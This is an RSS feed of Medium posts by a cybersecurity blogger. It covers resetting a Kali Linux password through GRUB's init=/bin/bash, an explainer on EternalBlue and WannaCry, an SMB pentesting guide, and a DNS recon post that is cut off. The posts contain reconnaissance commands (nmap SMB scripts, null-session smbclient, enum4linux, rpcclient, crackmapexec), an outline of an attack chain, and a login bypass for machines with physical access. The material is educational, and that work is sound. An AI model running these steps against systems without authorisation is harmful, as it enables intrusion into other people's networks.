<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by vipin on Medium]]></title>
        <description><![CDATA[Stories by vipin on Medium]]></description>
        <link>https://medium.com/@vipingiribgb0?source=rss-bb47aef22c03------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*hUn6nxPBmXE-s4hoN7tnMw.jpeg</url>
            <title>Stories by vipin on Medium</title>
            <link>https://medium.com/@vipingiribgb0?source=rss-bb47aef22c03------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 03:17:16 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@vipingiribgb0/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I Recovered My Kali Linux Machine After Forgetting My Password]]></title>
            <link>https://medium.com/@vipingiribgb0/how-i-recovered-my-kali-linux-machine-after-forgetting-my-password-ba7a69d3ce9a?source=rss-bb47aef22c03------2</link>
            <guid isPermaLink="false">https://medium.com/p/ba7a69d3ce9a</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[linux]]></category>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[kali-linux]]></category>
            <dc:creator><![CDATA[vipin]]></dc:creator>
            <pubDate>Tue, 07 Jul 2026 07:39:09 GMT</pubDate>
            <atom:updated>2026-07-07T07:39:09.252Z</atom:updated>
            <content:encoded><![CDATA[<p>Forgetting your password doesn’t mean reinstalling your operating system. Here’s how understanding the Linux boot process helped me regain access in minutes without losing any data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*btGAO1Y1rwzHLcsQ" /></figure><p>There are only two types of Kali Linux users:</p><p>Those who have forgotten their password…… and those who eventually will.</p><p>A few days ago, I managed to lock myself out of my own Kali Linux machine. I had completely forgotten my password. For a moment, I thought I’d have to reinstall the operating system and lose my setup.</p><p>Then reality kicked in.</p><p>This is Linux. This is cybersecurity.</p><p>There’s almost always a way back in — provided you understand how the system works.</p><p>Here’s exactly how I reset my Kali Linux password without losing a single file.</p><h3>Step 1: Interrupt the GRUB Boot Menu</h3><p>Restart your system.</p><p>As soon as the <strong>GRUB boot menu</strong> appears, press any arrow key to stop the automatic countdown.</p><p>This gives you the opportunity to modify the boot parameters before Linux starts.</p><h3>Step 2: Edit the Boot Entry</h3><p>Select the default <strong>Kali GNU/Linux</strong> entry and press <strong>E</strong>.</p><p>You’ll now see the boot configuration that Linux uses during startup.</p><p>Don’t worry — you aren’t permanently changing anything. These edits only apply to the current boot.</p><h3>Step 3: Modify the Kernel Parameters</h3><p>Find the line that begins with:</p><pre>linux /boot/vmlinuz...</pre><p>Now make two small changes:</p><ol><li>Replace:</li></ol><pre>ro</pre><p>with</p><pre>rw</pre><p>This mounts the root filesystem with write permissions.</p><ol><li>At the very end of the same line, add:</li></ol><pre>init=/bin/bash</pre><p>This tells the kernel to start a Bash shell directly instead of launching the normal login process.</p><p>In simple terms, you’re asking Linux to give you a root shell before any authentication takes place.</p><h3>Step 4: Boot Into the Root Shell</h3><p>Press <strong>Ctrl + X</strong>.</p><p>Instead of seeing the login screen, you’ll be dropped directly into a root shell.</p><p>Since you’re already running as root, you can now change account passwords.</p><h3>Step 5: Reset the Password</h3><p>To reset the root account password:</p><pre>passwd</pre><p>To reset another user’s password:</p><pre>passwd username</pre><p>Replace <strong>username</strong> with the actual account name.</p><p>Enter your new password twice, and Linux will update it immediately.</p><h3>Step 6: Restart Normally</h3><p>Reboot the machine.</p><p>Once the system starts normally, log in using your new password.</p><p>That’s it.</p><p>No reinstall.</p><p>No lost files.</p><p>No unnecessary headaches.</p><p>The whole process usually takes less than ten minutes.</p><h3>Why This Works</h3><p>Linux authentication doesn’t magically happen the moment your computer turns on.</p><p>The operating system follows a boot sequence:</p><ul><li>The bootloader (GRUB) loads the kernel.</li><li>The kernel initializes the operating system.</li><li>The init process starts user-space services.</li><li>Finally, the login manager asks for your password.</li></ul><p>By changing the boot parameters, you’re simply replacing the normal startup process with a root shell.</p><p>It’s not a “hack.”</p><p>It’s a feature that exists because Linux gives administrators low-level control over the operating system.</p><p>Of course, this also explains why physical access to a machine is so important. If someone can access your computer and the bootloader isn’t protected, they may be able to reset passwords using this exact method.</p><h3>What I Learned</h3><p>This experience reminded me that cybersecurity isn’t just about exploiting vulnerabilities or running security tools.</p><p>The real skill comes from understanding how systems actually work.</p><p>When you understand the Linux boot process, kernel parameters, filesystems, and authentication mechanisms, situations that seem like disasters become simple troubleshooting exercises.</p><p>The deeper your understanding of the operating system, the more confident you become when things go wrong.</p><p>Sometimes, the best cybersecurity lesson doesn’t come from attacking a system.</p><p>It comes from recovering your own.</p><p>If you’re a Kali Linux user, bookmark this guide. You might not need it today — but one day, you’ll be glad you know it.</p><p>Keep hacking smarter.</p><h3>Stay in the Loop</h3><p>Want quick tips, free tools, and sneak peeks?</p><p>| <a href="https://github.com/vipin-giri">https://github.com/vipin-giri</a></p><p>|<a href="https://www.instagram.com/cipher.pentest/"> https://www.instagram.com/cipher.pentest/</a></p><p>| <a href="https://www.linkedin.com/in/vipin-giri-598771327/">https://www.linkedin.com/in/vipin-giri-598771327/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ba7a69d3ce9a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[EternalBlue Explained: The SMB Vulnerability That Changed Cybersecurity Forever]]></title>
            <link>https://medium.com/@vipingiribgb0/eternalblue-explained-the-smb-vulnerability-that-changed-cybersecurity-forever-802ede61a8a7?source=rss-bb47aef22c03------2</link>
            <guid isPermaLink="false">https://medium.com/p/802ede61a8a7</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[eternalblue]]></category>
            <dc:creator><![CDATA[vipin]]></dc:creator>
            <pubDate>Thu, 14 May 2026 07:32:03 GMT</pubDate>
            <atom:updated>2026-05-14T07:32:03.538Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*J4ORkjfPv0zrPFq-.png" /></figure><p>When people start learning cybersecurity, they usually hear names like SQL Injection, XSS, or phishing attacks. But very few vulnerabilities changed the cybersecurity industry the way EternalBlue did. EternalBlue was not just another exploit used by hackers. It became one of the most dangerous cyber weapons ever leaked publicly and was responsible for some of the largest ransomware outbreaks in history.</p><p>The vulnerability targeted Microsoft’s SMBv1 protocol and allowed attackers to execute code remotely on vulnerable Windows systems without authentication. That single issue made it extremely powerful because an attacker did not need usernames, passwords, or even user interaction. If the target system exposed SMB and was vulnerable, exploitation was possible directly over the network.</p><p>One of the biggest reasons EternalBlue became famous was because it was used in the WannaCry ransomware attack attack, which spread across the world within hours and affected hospitals, enterprises, telecom companies, banks, and even government infrastructure.</p><h3>Understanding SMB Before EternalBlue</h3><p>Before understanding EternalBlue, it is important to understand SMB itself because the exploit directly abused weaknesses inside the SMBv1 protocol.</p><p>SMB stands for:</p><h3>Server Message Block</h3><p>It is a Windows networking protocol used for:</p><ul><li>File sharing</li><li>Printer sharing</li><li>Remote administration</li><li>Accessing network resources</li><li>Communication inside enterprise environments</li></ul><p>Whenever a user accesses something like:</p><pre>\\SERVER\SharedFolder</pre><p>they are usually using SMB.</p><p>Most modern Windows enterprise environments depend heavily on SMB. Active Directory, file servers, backups, printers, and even administrative communication often rely on SMB. That is why SMB became such a valuable target for attackers.</p><h3>Why SMBv1 Was Dangerous</h3><p>SMBv1 was designed decades ago during a time when cybersecurity was very different. Modern attack techniques and internet-scale threats did not exist in the same way they do today. Because of that, SMBv1 lacked many security protections that modern protocols use today.</p><p>Some major weaknesses of SMBv1 included:</p><ul><li>Weak memory handling</li><li>Unsafe packet parsing</li><li>Poor validation mechanisms</li><li>Complex command structure</li><li>Lack of modern security protections</li></ul><p>These weaknesses made SMBv1 highly vulnerable to memory corruption attacks.</p><h3>SMBv1 Architecture</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*SS6Fc5aMssNg2FvB" /></figure><p>When SMB communication happens, the client and server exchange packets continuously. The server processes requests sent by clients and allocates memory for handling those requests. EternalBlue abused flaws in how SMBv1 handled specially crafted packets inside kernel memory.</p><p>That is what made the exploit so dangerous.</p><h3>What Was the Actual EternalBlue Vulnerability?</h3><p>EternalBlue exploited a memory corruption vulnerability inside SMBv1. Very simplified, the vulnerability happened because SMB improperly handled specially crafted packets sent by attackers.</p><p>The attacker could send malformed SMB packets that forced the system into an unsafe memory state. Once memory corruption occurred, the attacker could manipulate execution flow and execute arbitrary code on the target system.</p><p>This is commonly related to:</p><h3>Buffer overflow and kernel memory corruption</h3><p>A simple way to understand this is to imagine a program expecting a certain amount of data, but the attacker intentionally sends much more than expected. If the program does not properly validate the input size, memory can become corrupted.</p><p>For example:</p><pre>Expected: 100 bytes<br>Received: 500 bytes</pre><p>Improper validation may overwrite memory areas and eventually allow the attacker to control program execution.</p><h3>How EternalBlue Actually Worked</h3><p>The EternalBlue attack was highly technical internally, but from a high-level perspective, the workflow was surprisingly straightforward.</p><p>The attacker would first scan systems looking for:</p><pre>445/TCP</pre><p>because SMB usually runs on that port.</p><p>After finding SMB exposure, the attacker would check:</p><ul><li>Is SMBv1 enabled?</li><li>Is the system patched?</li><li>Is the target running a vulnerable Windows version?</li></ul><p>If the target was vulnerable, the attacker would send specially crafted SMB packets that triggered memory corruption inside the Windows kernel.</p><p>The exploit then:</p><ul><li>Manipulated memory structures</li><li>Executed shellcode</li><li>Gained SYSTEM-level access</li></ul><p>SYSTEM is one of the highest privilege levels in Windows. Once SYSTEM access is achieved, the attacker effectively controls the machine completely.</p><h3>EternalBlue Attack Workflow</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*MfSVt4SwlaPUqFtZ" /></figure><p>A typical EternalBlue attack flow looked like this:</p><ol><li>Scan network for SMB exposure</li><li>Detect SMBv1 enabled systems</li><li>Check vulnerability status</li><li>Send crafted SMB packets</li><li>Trigger kernel memory corruption</li><li>Execute payload</li><li>Gain SYSTEM shell</li></ol><p>The dangerous part was that this happened remotely and automatically.</p><h3>Why EternalBlue Became So Dangerous</h3><p>Most vulnerabilities require at least one of these:</p><ul><li>User interaction</li><li>Authentication</li><li>Local access</li><li>Special permissions</li></ul><p>EternalBlue required none of them.</p><p>That made it:</p><ul><li>Remote</li><li>Unauthenticated</li><li>Wormable</li><li>Extremely scalable</li></ul><blockquote>The word:<strong> Wormable</strong></blockquote><p>is very important here.</p><p>A wormable exploit means malware can automatically spread from one vulnerable system to another without human interaction. This is exactly what made WannaCry spread globally so quickly.</p><p>Once a machine was infected, the malware simply scanned for more vulnerable SMB systems and continued spreading automatically.</p><h3>Real-World WannaCry Attack</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*DTx6fw-VIJsxpgnq" /></figure><p>The WannaCry ransomware attack attack infected hundreds of thousands of systems worldwide.</p><p>Hospitals were heavily affected because many medical systems still used older Windows versions that relied on SMBv1. Enterprises also suffered because internal network segmentation was weak and SMB traffic was widely trusted inside corporate environments.</p><p>Once WannaCry entered an enterprise network, it spread rapidly from system to system.</p><h3>How Pentesters Enumerate EternalBlue Exposure</h3><p>Professional pentesters do not immediately attempt exploitation. The first phase is always:</p><h3>Enumeration</h3><p>The goal is to understand:</p><ul><li>SMB exposure</li><li>SMB versions</li><li>Operating systems</li><li>Patch status</li><li>Security configuration</li></ul><p>A common first step is checking if SMB is exposed:</p><pre>nmap -Pn -p445 target</pre><p>Then pentesters identify SMB versions:</p><pre>nmap --script smb-protocols -p445 target</pre><p>If the output shows:</p><pre>SMBv1 enabled</pre><p>the target becomes much more interesting.</p><p>Next, operating system detection helps identify potentially vulnerable Windows systems:</p><pre>nmap -O -sV target</pre><p>Finally, vulnerability-specific checks may be performed:</p><pre>nmap --script smb-vuln-ms17-010 -p445 target</pre><p>This checks for the missing Microsoft patch related to EternalBlue:</p><h3>MS17–010</h3><h3>Why Enterprises Were So Vulnerable</h3><p>One of the biggest lessons from EternalBlue was that many enterprises depended heavily on legacy systems.</p><p>Common problems included:</p><ul><li>Outdated Windows systems</li><li>Poor patch management</li><li>SMBv1 still enabled</li><li>Flat internal networks</li><li>Weak segmentation</li><li>Excessive trust between systems</li></ul><p>Many organizations delayed updates because older applications depended on SMBv1. Unfortunately, this created massive attack surfaces.</p><h3>EternalBlue and DoublePulsar</h3><p>EternalBlue was often paired with:</p><h3>DoublePulsar</h3><p>DoublePulsar acted like a backdoor and payload injector after successful exploitation. Attackers could use it for:</p><ul><li>Persistence</li><li>Malware installation</li><li>Remote control</li><li>Additional payload delivery</li></ul><p>This combination made attacks even more dangerous.</p><h3>Defensive Lessons from EternalBlue</h3><p>EternalBlue forced organizations worldwide to rethink Windows security and enterprise patch management.</p><p>Some of the biggest lessons were:</p><ul><li>Legacy protocols become dangerous over time</li><li>Internal networks should never be blindly trusted</li><li>Patch management is critical</li><li>SMB exposure should be minimized</li><li>Network segmentation matters greatly</li></ul><p>The most important defense was:</p><h3>Disable SMBv1 completely</h3><p>Modern Windows systems no longer require SMBv1 in most environments.</p><p>Organizations also needed to:</p><ul><li>Apply MS17–010 patches</li><li>Block external SMB exposure</li><li>Monitor SMB traffic</li><li>Detect lateral movement</li><li>Improve segmentation</li></ul><h3>Professional Pentester Perspective</h3><p>Beginners often see EternalBlue as:</p><pre>A famous exploit</pre><p>Professional pentesters see it differently.</p><p>For professionals, EternalBlue is a case study showing how:</p><ul><li>Legacy infrastructure</li><li>Weak operational security</li><li>Poor patch management</li><li>Protocol dependency</li><li>Internal trust assumptions</li></ul><p>can combine into catastrophic enterprise compromise.</p><p>The vulnerability itself was dangerous, but the real problem was the environment surrounding it.</p><h3>Final Thoughts</h3><p>Even years later, EternalBlue remains one of the most important vulnerabilities in cybersecurity history. It demonstrated how dangerous outdated protocols can become when organizations fail to modernize infrastructure and apply security updates.</p><p>Today, pentesters still check for:</p><ul><li>SMBv1</li><li>Weak SMB configurations</li><li>Missing patches</li><li>Poor segmentation</li><li>SMB exposure</li></ul><p>because many organizations still struggle with legacy Windows environments.</p><p>Understanding EternalBlue is not just about learning exploitation. It is about understanding how real-world enterprise attacks spread and why infrastructure security matters so much in modern cybersecurity.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=802ede61a8a7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SMB Pentesting Explained: Architecture, Enumeration, Attacks, and Real Bug Bounty Methodology]]></title>
            <link>https://medium.com/@vipingiribgb0/smb-pentesting-explained-architecture-enumeration-attacks-and-real-bug-bounty-methodology-468a11108317?source=rss-bb47aef22c03------2</link>
            <guid isPermaLink="false">https://medium.com/p/468a11108317</guid>
            <category><![CDATA[smb]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[eternalblue]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[windows]]></category>
            <dc:creator><![CDATA[vipin]]></dc:creator>
            <pubDate>Thu, 14 May 2026 07:19:50 GMT</pubDate>
            <atom:updated>2026-05-14T07:19:50.033Z</atom:updated>
            <content:encoded><![CDATA[<p>Windows environments dominate modern enterprise networks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7pb9WTKui9m9lYbU" /></figure><p>And one protocol exists almost everywhere inside those environments:</p><h3>SMB (Server Message Block)</h3><p>For normal users, SMB is simply:</p><ul><li>File sharing</li><li>Printer sharing</li><li>Network access</li></ul><p>But for penetration testers and professional bug bounty hunters, SMB is much more than that.</p><p>SMB is:</p><ul><li>An enterprise attack surface</li><li>A source of infrastructure intelligence</li><li>A credential attack target</li><li>A lateral movement protocol</li><li>A gateway into Active Directory environments</li></ul><p>Understanding SMB properly is one of the most important skills in internal pentesting and enterprise security testing.</p><p>In this blog, we will deeply understand:</p><ul><li>What SMB is</li><li>SMB architecture</li><li>SMB workflow</li><li>SMB versions</li><li>Authentication process</li><li>SMB security weaknesses</li><li>SMB enumeration</li><li>Professional pentesting methodology</li><li>Real attack paths</li><li>Enumeration commands</li><li>Vulnerability assessment</li><li>Bug bounty and pentesting mindset</li></ul><p>This article is for educational and authorized security testing only.</p><h3>What is SMB?</h3><p>SMB stands for:</p><h3>Server Message Block</h3><p>It is a network communication protocol mainly developed for:</p><ul><li>File sharing</li><li>Printer access</li><li>Remote administration</li><li>Inter-process communication</li><li>Authentication</li><li>Shared resource access</li></ul><p>SMB allows one computer to access resources on another computer over a network.</p><p>Example:</p><pre>\\SERVER\Finance</pre><p>This means:</p><ul><li>A client system is requesting access</li><li>To a shared folder</li><li>Hosted on another system</li></ul><h3>Why SMB is Important in Pentesting</h3><p>Most enterprise Windows environments rely heavily on SMB.</p><p>SMB is deeply integrated with:</p><ul><li>Active Directory</li><li>Domain authentication</li><li>Windows networking</li><li>Administrative access</li><li>Remote management</li></ul><p>This makes SMB one of the BEST protocols for:</p><ul><li>Reconnaissance</li><li>Enumeration</li><li>Credential attacks</li><li>Lateral movement</li><li>Privilege escalation</li><li>Domain compromise</li></ul><h3>SMB Architecture Explained</h3><p>Most blogs only say:</p><blockquote><em>SMB is used for file sharing.</em></blockquote><p>But professional pentesters must understand:</p><h3>How SMB actually works internally</h3><p>because every communication stage can become an attack surface.</p><h3>SMB Architecture Diagram</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/534/0*p0EPPDez4zalIY-8" /></figure><h3>Core Components of SMB Architecture</h3><p>ComponentPurposeSMB ClientRequests network resourcesSMB ServerHosts shared resourcesTCP/IPNetwork communicationNetBIOSLegacy naming supportNTLM/KerberosAuthenticationFile SystemFile storage accessActive DirectoryIdentity &amp; permissions</p><h3>SMB Communication Workflow</h3><p>Let us understand how SMB communication actually works internally.</p><h3>Step 1 — Client Wants Resource Access</h3><p>The client attempts to access:</p><pre>\\SERVER\SharedFolder</pre><p>This begins the SMB communication process.</p><h3>Step 2 — Name Resolution</h3><p>The client resolves:</p><pre>SERVER → IP Address</pre><p>using:</p><ul><li>DNS</li><li>NetBIOS</li><li>LLMNR</li></ul><h3>Why Pentesters Care</h3><p>Name resolution protocols themselves can become attack surfaces.</p><p>Example:</p><ul><li>LLMNR poisoning</li><li>NBNS spoofing</li></ul><p>These are commonly abused in internal pentests.</p><h3>Step 3 — TCP Connection</h3><p>The client establishes connection to:</p><pre>445/TCP</pre><p>This creates the SMB transport session.</p><p>Older systems may also use:</p><pre>139/TCP</pre><p>through NetBIOS.</p><h3>Step 4 — SMB Negotiation</h3><p>The client and server negotiate:</p><ul><li>SMB version</li><li>Capabilities</li><li>Encryption</li><li>Signing</li><li>Security settings</li></ul><p>Example:</p><pre>SMBv1<br>SMBv2<br>SMBv3</pre><h3>Why This Matters</h3><p>This stage is extremely important because:</p><ul><li>SMBv1 is highly vulnerable</li><li>SMB signing affects relay attacks</li><li>Encryption affects traffic visibility</li></ul><h3>Step 5 — Authentication</h3><p>Authentication happens using:</p><ul><li>NTLM</li><li>Kerberos</li></ul><h3>SMB Authentication Flow Diagram</h3><h3>NTLM Authentication Simplified</h3><p>NTLM works using:</p><h3>Challenge-Response Authentication</h3><p>Flow:</p><ol><li>Client requests authentication</li><li>Server sends challenge</li><li>Client responds using password hash</li><li>Server validates response</li></ol><h3>Why Pentesters Care About NTLM</h3><p>Because NTLM enables attacks like:</p><ul><li>NTLM relay</li><li>Hash capture</li><li>Pass-the-Hash</li><li>Credential cracking</li></ul><h3>Step 6 — Tree Connect</h3><p>The client requests access to a specific SMB share:</p><pre>\\SERVER\Finance</pre><p>The server verifies:</p><ul><li>Permissions</li><li>Authentication</li><li>Access rights</li></ul><h3>Step 7 — File Operations</h3><p>If access is allowed, the client may:</p><ul><li>Read files</li><li>Upload files</li><li>Modify data</li><li>Delete resources</li></ul><p>depending on permissions.</p><h3>SMB Versions Explained</h3><p>Understanding SMB versions is critical in pentesting.</p><p>Different versions provide:</p><ul><li>Different security levels</li><li>Different attack surfaces</li><li>Different vulnerabilities</li></ul><h3>SMBv1</h3><p>Released in:</p><pre>1980s</pre><p>SMBv1 is:</p><ul><li>Old</li><li>Insecure</li><li>Weakly designed</li></ul><h3>Problems with SMBv1</h3><p>SMBv1 lacks:</p><ul><li>Strong encryption</li><li>Secure negotiation</li><li>Modern security protections</li></ul><p>This version became famous because of:</p><h3>EternalBlue</h3><h3>SMBv2</h3><p>Introduced with:</p><ul><li>Windows Vista</li><li>Windows Server 2008</li></ul><p>Improvements:</p><ul><li>Better performance</li><li>Better reliability</li><li>Reduced commands</li><li>Improved security</li></ul><h3>SMBv3</h3><p>Introduced with:</p><ul><li>Windows 8</li><li>Windows Server 2012</li></ul><p>Security improvements:</p><ul><li>Encryption</li><li>Secure negotiation</li><li>Integrity protection</li></ul><p>SMBv3 is significantly safer.</p><h3>Why Pentesters Check SMB Versions</h3><p>Because SMB versions reveal:</p><ul><li>Patch maturity</li><li>Exploitation opportunities</li><li>Legacy infrastructure</li></ul><h3>SMB Enumeration — Professional Workflow</h3><p>Enumeration is one of the MOST IMPORTANT stages in SMB pentesting.</p><p>Professional hunters do not randomly run tools.</p><p>They follow a structured workflow.</p><h3>Professional SMB Enumeration Flow</h3><h3>Professional SMB Enumeration Methodology</h3><p>StepObjectivePort scanningDetect SMB exposureVersion detectionIdentify SMB versionSecurity checksSigning &amp; protocol checksShare enumerationDiscover shared resourcesUser enumerationFind usernamesOS fingerprintingIdentify Windows versionDomain enumerationGather AD detailsVulnerability checksEternalBlue &amp; othersCredential attacksPassword testingLateral movementAccess expansion</p><h3>Step 1 — Port Scanning</h3><h3>Basic SMB Scan</h3><pre>nmap -Pn -p 139,445 target</pre><h3>Why Important?</h3><p>Confirms:</p><ul><li>SMB availability</li><li>NetBIOS presence</li><li>Attack surface exposure</li></ul><h3>Step 2 — SMB Version Detection</h3><h3>Command 1</h3><pre>nmap --script smb-protocols -p445 target</pre><h3>Example Output</h3><pre>SMBv1 enabled<br>SMBv2 enabled<br>SMBv3 enabled</pre><h3>Why Important?</h3><p>SMBv1 immediately becomes:</p><h3>High priority</h3><p>because it may expose:</p><ul><li>EternalBlue</li><li>Legacy weaknesses</li></ul><h3>Step 3 — Operating System Detection</h3><h3>Command 2</h3><pre>nmap -O -sV target</pre><h3>Why Important?</h3><p>Helps identify:</p><ul><li>Windows version</li><li>Exploit compatibility</li><li>Patch likelihood</li></ul><h3>Step 4 — SMB Security Mode Check</h3><h3>Command 3</h3><pre>nmap --script smb2-security-mode -p445 target</pre><h3>Example Output</h3><pre>Message signing enabled but not required</pre><h3>Why This Matters</h3><p>If SMB signing is not required:</p><ul><li>NTLM relay attacks become possible</li></ul><p>This is one of the most important enterprise SMB weaknesses.</p><h3>Step 5 — Share Enumeration</h3><h3>Command 4</h3><pre>smbclient -L //target -N</pre><h3>Example Output</h3><pre>ADMIN$<br>C$<br>IPC$<br>HR<br>Finance<br>Backup</pre><h3>Why Important?</h3><p>Shares often expose:</p><ul><li>Sensitive documents</li><li>Credentials</li><li>Backups</li><li>Configuration files</li><li>Internal scripts</li></ul><h3>Step 6 — Authenticated Enumeration</h3><h3>Command 5</h3><pre>smbclient -L //target -U username</pre><h3>Why Important?</h3><p>Authenticated access may reveal:</p><ul><li>Additional shares</li><li>Internal resources</li><li>Department data</li></ul><h3>Step 7 — enum4linux Enumeration</h3><h3>Command 6</h3><pre>enum4linux -a target</pre><h3>What It Reveals</h3><ul><li>Users</li><li>Groups</li><li>Password policies</li><li>Shares</li><li>Domain information</li><li>OS details</li></ul><h3>Why Professionals Use It</h3><p>Because it automates:</p><h3>Large-scale SMB reconnaissance</h3><h3>Step 8 — smbmap Enumeration</h3><h3>Command 7</h3><pre>smbmap -H target</pre><h3>Why Important?</h3><p>Shows:</p><ul><li>Share permissions</li><li>Read access</li><li>Write access</li></ul><h3>Why Pentesters Look for WRITE Access</h3><p>Because writable shares may allow:</p><ul><li>Malware upload</li><li>Web shell placement</li><li>Persistence</li><li>Lateral movement</li></ul><h3>Step 9 — RPC Enumeration</h3><h3>Command 8</h3><pre>rpcclient -U &quot;&quot; target</pre><h3>What It Can Reveal</h3><ul><li>Users</li><li>Groups</li><li>SIDs</li><li>Domain details</li></ul><h3>Step 10 — crackmapexec Enumeration</h3><h3>Command 9</h3><pre>crackmapexec smb target</pre><h3>Why Professionals Love It</h3><p>Quickly identifies:</p><ul><li>OS details</li><li>SMB signing</li><li>Domain info</li><li>SMB versions</li></ul><h3>Step 11 — Vulnerability Detection</h3><h3>Command 10</h3><pre>nmap --script smb-vuln-ms17-010 -p445 target</pre><h3>Why Important?</h3><p>Checks:</p><h3>EternalBlue exposure</h3><h3>SMB Security Issues</h3><p>Now let us understand the most common SMB weaknesses.</p><h3>1. SMBv1 Enabled</h3><p>One of the biggest red flags.</p><p>Associated with:</p><ul><li>EternalBlue</li><li>WannaCry</li><li>Legacy insecurity</li></ul><h3>2. SMB Signing Disabled</h3><p>Allows:</p><ul><li>NTLM relay attacks</li></ul><p>This is extremely dangerous in Active Directory environments.</p><h3>3. Null Sessions</h3><p>Anonymous access without credentials.</p><p>May expose:</p><ul><li>Users</li><li>Shares</li><li>Policies</li></ul><h3>4. Weak Share Permissions</h3><p>Misconfigured shares may allow:</p><ul><li>Read access</li><li>Write access</li><li>Sensitive data exposure</li></ul><h3>5. NTLM Weaknesses</h3><p>NTLM enables:</p><ul><li>Hash capture</li><li>Relay attacks</li><li>Pass-the-Hash</li></ul><h3>Real Enterprise Attack Flow</h3><p>A real pentester may:</p><ol><li>Discover SMB</li><li>Enumerate shares</li><li>Find backup files</li><li>Recover credentials</li><li>Authenticate internally</li><li>Dump hashes</li><li>Move laterally</li><li>Compromise Active Directory</li></ol><p>This is why SMB is considered:</p><h3>One of the most important enterprise attack surfaces</h3><h3>Professional Bug Bounty Perspective</h3><p>Beginners think:</p><pre>SMB is only file sharing</pre><p>Professionals think:</p><pre>SMB is an infrastructure intelligence and lateral movement protocol</pre><p>That mindset difference is extremely important.</p><h3>Final Thoughts</h3><p>Learning SMB properly teaches:</p><ul><li>Windows networking</li><li>Enterprise architecture</li><li>Active Directory environments</li><li>Authentication systems</li><li>Real-world attack chains</li></ul><p>SMB is not only about enumeration.</p><p>It is about understanding:</p><h3>How enterprise Windows environments actually function.</h3><p>And once you understand that,<br> you understand how attackers move inside real corporate networks.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=468a11108317" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[DNS Pentesting: What a Professional Bug Bounty Hunter Actually Checks When Port 53 is Open]]></title>
            <link>https://medium.com/@vipingiribgb0/dns-pentesting-what-a-professional-bug-bounty-hunter-actually-checks-when-port-53-is-open-931d8a0b9a20?source=rss-bb47aef22c03------2</link>
            <guid isPermaLink="false">https://medium.com/p/931d8a0b9a20</guid>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[hackeron]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[dns]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[vipin]]></dc:creator>
            <pubDate>Tue, 12 May 2026 12:56:38 GMT</pubDate>
            <atom:updated>2026-05-12T12:56:38.734Z</atom:updated>
            <content:encoded><![CDATA[<p>When beginners start learning reconnaissance and bug bounty hunting, they usually focus on things like:</p><ul><li>Open admin panels</li><li>Login pages</li><li>SQL Injection</li><li>XSS</li><li>APIs</li></ul><p>But professional bug bounty hunters spend a lot of time on something most people ignore:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/300/1*Lvd5q0htM_cOJ-G6AB_bFw.jpeg" /></figure><h3>DNS Enumeration</h3><p>DNS is one of the most valuable intelligence sources during reconnaissance.</p><p>A properly configured DNS server helps organizations run securely.<br> A poorly configured DNS server can expose:</p><ul><li>Internal infrastructure</li><li>Hidden subdomains</li><li>Development servers</li><li>VPN gateways</li><li>Mail systems</li><li>Active Directory information</li><li>Cloud services</li><li>Security weaknesses</li></ul><p>In this blog, I will explain how professional pentesters and bug bounty hunters analyze an exposed DNS service, especially when they discover:</p><pre>53/tcp open</pre><p>This guide is focused on:</p><ul><li>Real-world understanding</li><li>Professional recon mindset</li><li>Practical examples</li><li>Why each test matters</li><li>Security impact</li></ul><p>This is for educational and authorized security testing only.</p><h3>Understanding Port 53</h3><p>Port 53 is used for DNS (Domain Name System).</p><p>DNS converts:</p><pre>google.com → IP Address</pre><p>Without DNS, users would need to remember IP addresses for every website.</p><p>DNS mainly works on:</p><p>ProtocolUsageUDP 53Normal DNS queriesTCP 53Zone transfers, DNSSEC, large responses</p><p>When a pentester discovers 53/tcp open, it does NOT automatically mean the target is vulnerable.</p><p>It simply means:</p><blockquote><em>A DNS service is exposed.</em></blockquote><p>Now the real job starts:</p><ul><li>What type of DNS server is this?</li><li>Is it leaking information?</li><li>Is it misconfigured?</li><li>Can it be abused?</li><li>Does it expose hidden infrastructure?</li></ul><p>This is how professionals think.</p><h3>Step 1 — Banner Grabbing</h3><p>The first thing many pentesters check is the DNS software version.</p><h3>Why?</h3><p>Because software versions help identify:</p><ul><li>Outdated software</li><li>Known 